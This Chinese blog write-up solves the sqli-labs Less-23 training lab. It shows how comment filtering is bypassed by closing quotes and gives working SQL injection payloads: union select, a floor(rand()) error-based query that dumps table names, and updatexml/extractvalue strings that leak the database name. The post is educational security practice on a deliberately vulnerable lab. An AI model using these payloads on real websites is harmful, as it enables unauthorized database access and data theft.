sqlilabs less-23

前期判断

先来判断注入类型
在这里插入图片描述
在这里插入图片描述
测试1‘#以及1’–+发现依旧报错,可能注释符号被过滤了。

闭合单引号注入

既然它的sql语句是这样

select …… from table where id = ''
为什么不能让它这样
select …… from table where id = '1' union select null,null,null '1'

在这里插入图片描述
在这里插入图片描述

然后找显示的行
在这里插入图片描述

在这里插入图片描述
直接注入不进去,换报错注入吧

-1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))'1

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
很好奇如果我用extractvalue或updatexml是不是也行呢
试验一下

' and updatexml(1,concat(0x7c,(select database())),1)'1
' and extractvalue(1,concat(0x7c,(select database())))'1

在这里插入图片描述
为什么不行?突然发现

select …… from table where id = '1' and updatexml(1,concat(0x7c,(select database())),1) '1'

因为没有and 所以sql不知道这“updatexml(1,concat(0x7c,(select database())),1)‘1’”是什么东西,所以要加and,突然想到前面直接注入失败也是因为没注意这个问题而导致的。
在这里插入图片描述
加了and以后的普通注入
在这里插入图片描述

源码分析

来看看源码
在这里插入图片描述
把#和–替换成了空,所以导致注释符失效。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值